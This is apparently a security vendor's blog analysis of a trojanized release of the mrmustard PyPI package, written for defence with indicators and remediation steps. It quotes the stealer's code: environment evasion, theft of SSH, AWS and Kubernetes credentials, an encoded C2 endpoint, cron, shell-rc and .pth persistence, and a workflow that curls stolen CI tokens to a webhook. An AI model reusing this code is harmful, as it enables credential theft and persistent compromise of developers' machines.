mrmustard PyPI Package Trojanized to Steal Credentials

Sahil Bansal Sahil Bansal
11 min read

Table of Contents

TL;DR

A malicious version of mrmustard, the photonic quantum computing library from Xanadu, was published to PyPI on July 23, 2026. Anyone who ran import mrmustard from version 0.7.4 on a laptop or workstation had their SSH private keys, AWS credentials, and Kubernetes config read off disk and sent to an attacker server, and had three separate persistence mechanisms installed that keep a stealer running long after the package is uninstalled. The credential theft targets research and HPC environments, collecting SLURM job queues and GPU inventories alongside the usual cloud secrets.

The malicious code sits in mrmustard/__init__.py as a 258-line function named _check_tf_compatibility(). The rest of the release is byte-identical to the previous clean version, 0.7.3. A release-provenance gap separated the two before anyone read a line of the code. Version 0.7.4 exists on PyPI but has no corresponding tag, release, or commit in the XanaduAI/MrMustard GitHub repository, whose tags stop at v0.7.3. The package was published through the account of ziofil, the project’s original author and top contributor, after that account was used to steal the project’s CI publishing tokens. PyPI has since quarantined the project.

Impact:

  • Importing [email protected] reads every SSH private key under ~/.ssh, plus ~/.aws/credentials, ~/.aws/config, and ~/.kube/config, and POSTs them to an attacker C2
  • The payload collects host recon aimed at research clusters: SLURM squeue output, nvidia-smi GPU inventory, public IP, hostname, id output, and the full pip freeze list
  • A source-less compiled hw_probe.pyc is written to ~/.cache/.tf_cache/ and launched by three independent persistence hooks (cron, shell rc, and a site-packages .pth file)
  • The .pth hook runs the stealer on every Python invocation on the host, and survives pip uninstall mrmustard
  • The stealer skips execution under CI environment variables and inside containers, so it fires on developer and researcher machines rather than build systems
  • A poisoned GitHub Actions workflow in the same operation exfiltrated the project’s PIPY_TOKEN and CODECOV_TOKEN

Affected package: [email protected] (PyPI). Clean: 0.7.3 and earlier. sdist SHA256 0404f8590fdaef95280c1d908068f31bf2321fe887faabf0c2329ba67c7203cb.

A PyPI release with no matching GitHub tag

The clean [email protected] was published to PyPI on March 28, 2024, alongside the v0.7.3 GitHub release. Version 0.7.4 was uploaded to PyPI on July 23, 2026, more than two years later, with no v0.7.4 tag, no release, and no commit on the default branch. The most recent release on GitHub is v1.0.0a1, and the most recent stable tag is v0.7.3. A stable-looking 0.7.4 that appears only on the package registry, with the version-control history skipping straight past it, points to a publishing-credential or CI compromise rather than a normal release.

Diffing the two source distributions confirms how surgical the change is. Three files differ, and two of them are metadata:

# diff mrmustard-0.7.3 vs mrmustard-0.7.4 (sdist)
Files mrmustard/__init__.py differ
Files PKG-INFO differ # version bump 0.7.3 -> 0.7.4, newer build toolchain
Files pyproject.toml differ # version = "0.7.3" -> "0.7.4"

Every other file across the package is identical. The entire attack is 258 lines added to mrmustard/__init__.py, which grows from 85 to 343 lines. The injected function is placed right after the legitimate imports and before the real version() and about() helpers, so the file still reads like the genuine module.

The injected payload

The malicious function runs on import and hides its work in a daemon thread so the import returns with no visible delay.

# mrmustard/__init__.py @ 0.7.4 (sdist), lines 24-31, 276-279
def _check_tf_compatibility():
import threading
def _run():
try:
import base64 as _b, hashlib as _h, json as _j, os as _o
import platform as _p, subprocess as _s, sys as _sys, urllib.request as _u
import time as _t
...
threading.Thread(target=_run, daemon=True).start()
_check_tf_compatibility()
del _check_tf_compatibility

The name mimics a TensorFlow hardware check, which is plausible cover because MrMustard uses TensorFlow as a backend. After the call, del _check_tf_compatibility removes the name from the module namespace, so code that inspects mrmustard after import finds no trace of the function.

Before doing anything, the payload checks that it is not running in CI or a container, and bails out if it is.

# mrmustard/__init__.py @ 0.7.4 (sdist), lines 45-59
for m in ("CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL",
"TRAVIS", "CIRCLECI", "BUILDKITE", "CODEBUILD_BUILD_ID"):
if _o.environ.get(m):
return
for p in ("/.dockerenv", "/run/.containerenv"):
if _o.path.exists(p):
return
try:
with open("/proc/1/cgroup") as _f:
_cg = _f.read()
if "docker" in _cg or "kubepods" in _cg or "lxc" in _cg:
return
except Exception:
pass

This inverts the usual sandbox-evasion goal. Rather than dodging a malware analysis VM, it dodges build systems and CI runners, where stolen credentials are short-lived and monitored, to concentrate on developer and researcher laptops where long-lived keys live. A per-host id derived from sha256(hostname + user + machine) and an hourly lock file in ~/.cache/.tf_cache/ throttle repeat runs.

What the payload collects

The harvesting is a single dictionary built from files on disk and the output of a handful of commands. It reads SSH private keys by scanning ~/.ssh for any file that is not a .pub or a known_hosts and contains the string PRIVATE KEY.

# mrmustard/__init__.py @ 0.7.4 (sdist), lines 128-149 (abridged)
_info = {
"h": _p.node(), # hostname
"u": _o.getenv("USER", _o.getenv("USERNAME", "")),
"sk": _sk(), # ~/.ssh private keys
"ac": _r("~/.aws/credentials"),
"ao": _r("~/.aws/config"),
"kc": _r("~/.kube/config"),
"dep": _c([_sys.executable, "-m", "pip", "freeze"]),
"uid": _c(["id"]),
"eip": _eip(), # public IP via ifconfig.me
"net": _c(["hostname", "-I"]),
"gpu": _c(["nvidia-smi", "--query-gpu=name,memory.total", "--format=csv,noheader"]),
"sq": _c(["squeue", "-u", _o.getenv("USER", "nobody")]),
"t": "i",
}

The environment variables it keeps are filtered to a prefix list that reads like a target profile: AWS_, KUBE, DOCKER_, TF_VAR_, CUDA, NVIDIA, GPU, CONDA, VIRTUAL_ENV, and the batch-scheduler prefixes SLURM_, PBS_, and SGE_. Collecting SLURM, PBS, and SGE state along with GPU inventory is deliberate targeting of HPC and research clusters, which fits the user base of a quantum computing library. Each file and command output is capped at 8192 bytes.

Where the data goes

The C2 endpoint is stored base64-then-XOR encoded so it does not appear as a plaintext string in the file. The key is the byte string tf_compat_v2.

# mrmustard/__init__.py @ 0.7.4 (sdist), lines 32-43
_K = b'tf_compat_v2'
_E = b'HBIrExxXX04ZOgJAHQUsTQkIHQMbJlhXGgMtBBZCBlBbPBleGAM8Fw=='
...
def _x(d):
r = _b.b64decode(d)
return ''.join(chr(b ^ _K[i % len(_K)]) for i, b in enumerate(r))
_ep = _x(_E)

Reimplementing that base64-then-XOR routine against the constant, without running the package, decodes _ep to hxxps://metrics.femboy[.]energy/v1/collect. The collected dictionary is JSON-encoded, XOR-encrypted with the same key, base64-wrapped as {"d": "..."}, and POSTed to that URL with a spoofed browser User-Agent. Every network and file operation is wrapped in a bare except Exception: pass, so nothing surfaces to the user if a step fails.

How the payload persists

The payload compiles a compact second copy of the same stealer to bytecode and drops it as ~/.cache/.tf_cache/hw_probe.pyc, then deletes the temporary source. Only the compiled .pyc remains on disk, so a grep for the C2 string or the stealer logic finds nothing without decompiling. Three separate launchers then point at that one file.

The cron launcher runs it every fifteen minutes:

# mrmustard/__init__.py @ 0.7.4 (sdist), lines 232-237
if _B not in _ex:
_cl = "*/15 * * * * /usr/bin/env python3 {} >/dev/null 2>&1".format(_B)
_nc = _ex.rstrip() + "\n" + _cl + "\n"
_p2 = _s.Popen(["crontab", "-"], stdin=_s.PIPE,
stdout=_s.DEVNULL, stderr=_s.DEVNULL)
_p2.communicate(_nc.encode())

The shell launcher appends a hook to ~/.bashrc, ~/.zshrc, or the fish config, labelled with a comment that continues the TensorFlow cover story:

# mrmustard/__init__.py @ 0.7.4 (sdist), lines 266-270
if _sh == "fish":
_ln = "\n# tensorflow hardware compatibility check\n/usr/bin/env python3 {} &\n".format(_B)
else:
_ln = "\n# tensorflow hardware compatibility check\n(/usr/bin/env python3 {} &) 2>/dev/null\n".format(_B)

The .pth file that runs on every Python launch

The third launcher outlives the package that installed it. The payload writes a file named mmcompat.pth into the first writable directory returned by site.getsitepackages().

# mrmustard/__init__.py @ 0.7.4 (sdist), lines 239-251
import site
for _d in site.getsitepackages():
if _o.path.isdir(_d) and _o.access(_d, _o.W_OK):
_pth = _o.path.join(_d, _M + ".pth") # _M = "mmcompat"
if not _o.path.exists(_pth):
with open(_pth, "w") as f:
f.write(
"import subprocess,sys;subprocess.Popen("
"[sys.executable,'{}'],stdout=subprocess.DEVNULL,"
"stderr=subprocess.DEVNULL)\n".format(_B)
)
break

CPython’s site module reads every .pth file in site-packages at interpreter startup, and any line that begins with import is executed as code. CPython added that behavior for path configuration. The payload abuses it to launch the stealer on every python and python3 invocation on the host, whether or not mrmustard is imported. The persistence is now decoupled from the package that delivered it. Running pip uninstall mrmustard removes the library but leaves mmcompat.pth, hw_probe.pyc, and the cron and shell hooks in place. Auditing site-packages for .pth files whose lines contain subprocess, Popen, exec, or a network call catches this class of persistence.

The GitHub account compromise

The malicious upload traces back to the project’s GitHub repository. On the same day, two commits landed under the account of ziofil, who is Filippo Miatto, the project’s original author and top contributor with 645 commits. This is a compromise of the primary maintainer account, not a rogue outside contributor.

The first commit, 2ebfe28 at 12:43 UTC, deleted seven legitimate workflow files and added one that probes the project’s self-hosted CI runners:

# .github/workflows/test.yml @ 2ebfe28
name: nwmlqsxgnc
on:
push:
branches: nwmlqsxgnc
jobs:
testing:
runs-on:
- self-hosted
steps:
- name: Run Tests
run: whoami

Targeting self-hosted runners with a whoami is reconnaissance of whatever identity and access the project’s own build machines carry. The second commit, 80aba72 at 19:51 UTC, added a workflow that steals the project’s publishing secrets:

# .github/workflows/ci-mrmustard-check.yml @ 80aba72
- name: verify
env:
S1: ${{ secrets.PIPY_TOKEN }}
S2: ${{ secrets.CODECOV_TOKEN }}
run: |
PAYLOAD=$(jq -n '{"PIPY_TOKEN": env.S1, "CODECOV_TOKEN": env.S2, "repo": "XanaduAI/MrMustard"}' | base64 -w 0)
curl -s -X POST "https://webhook.site/710babde-6ace-47fe-83f4-9688e6548df9" -H "Content-Type: application/json" -d '{"data": "'"$PAYLOAD"'", "type": "mrmustard"}'

The workflow references the repository’s real secret names, including the misspelled PIPY_TOKEN, which means the attacker already had enough repository access to read the secret configuration. It base64-wraps both tokens and curls them to a webhook[.]site dead drop. The malicious 0.7.4 sdist was uploaded to PyPI at 22:00 UTC, about two hours after that token exfiltration ran. The timing is consistent with the stolen PyPI token being used to publish the trojanized package, though the upload channel itself is not something the source confirms.

One small tell corroborates the account-takeover reading. The two malicious commits carry different git author names, ziofil on 2ebfe28 and Filippo Miatto on 80aba72, under the same account and no-reply email, which is the kind of inconsistency an operator produces when they do not perfectly match the victim’s local git config. Both malicious branches, ci/mrmustard-check and nwmlqsxgnc, have since been deleted, but the commits remain reachable by SHA, which is why the links above are pinned to full commit hashes rather than a branch.

Indicators of compromise

IndicatorTypeNotes
pkg:pypi/[email protected]PackageMalicious release. 0.7.3 and earlier are clean
0404f8590fdaef95280c1d908068f31bf2321fe887faabf0c2329ba67c7203cbSHA256mrmustard-0.7.4.tar.gz (sdist)
81f0d1291a975d012d1b892cf9967557fdbb1ad4e1ac0545702ad235ace1cac5SHA256mrmustard-0.7.4-py3-none-any.whl (wheel)
hxxps://metrics.femboy[.]energy/v1/collectURLCredential exfiltration C2 (HTTP POST)
metrics.femboy[.]energyDomainC2 host
hxxps://webhook[.]site/710babde-6ace-47fe-83f4-9688e6548df9URLDead drop for stolen PIPY_TOKEN and CODECOV_TOKEN
~/.cache/.tf_cache/hw_probe.pycFileCompiled-only persistent stealer
~/.cache/.tf_cache/DirectoryWorking dir, also holds .lock_* and .ts_* files
mmcompat.pthFilePersistence launcher in site-packages
*/15 * * * * /usr/bin/env python3 .../hw_probe.pycCronPersistence, every 15 minutes
# tensorflow hardware compatibility checkShell rc markerLine preceding the hook in .bashrc/.zshrc
2ebfe28, 80aba72Git commitsMalicious commits on XanaduAI/MrMustard

Detection and remediation

Treat any machine that imported [email protected], ran a Python process while mmcompat.pth was present, or executed the cron or shell hook as compromised. The credentials the payload reads are the priority. Rotate SSH keys, AWS access keys, and Kubernetes credentials, and review CloudTrail and cluster audit logs for use of those keys after July 23, 2026. On shared HPC login nodes the blast radius is larger than one user, since the .pth file dropped into a shared site-packages directory runs for every user who starts Python there.

Removal takes more than uninstalling the package. Delete ~/.cache/.tf_cache/, remove mmcompat.pth from every site-packages directory, run crontab -l and strip the */15 entry that points at hw_probe.pyc, and remove the # tensorflow hardware compatibility check block from shell rc files. For the project itself, treat the PIPY_TOKEN and CODECOV_TOKEN as burned and rotate them, and inspect the self-hosted runner that the whoami workflow probed.

The detection lesson is the provenance gap. A package version that appears on PyPI with no matching tag, release, or commit in its source repository is worth blocking until the maintainer confirms it, the same signal that surfaced the jscrambler npm compromise. Import-time credential theft in Python packages has become a pattern rather than an exception, as seen in the malicious hermes-px PyPI stealer, and maintainer-account takeover keeps enabling it, as in the @mastra npm scope takeover.

SafeDep’s Package Manager Guard (pmg) blocks packages with a malware verdict before they install, and the verdict comes from analyzing the payload rather than trusting the presence or absence of a release tag. Related: run vet against your lockfile to check what you already have installed.

References

  • malware
  • pypi
  • supply-chain
  • credential-stealer
  • account-compromise

Author

Sahil Bansal

Sahil Bansal

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

AsyncAPI Packages Compromised with Miasma RAT

AsyncAPI Packages Compromised with Miasma RAT

Four @asyncapi npm packages were published with obfuscated malware on July 14, 2026 via compromised CI workflows. The payload downloads Miasma RAT, a credential stealer targeting browsers, SSH keys,...

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.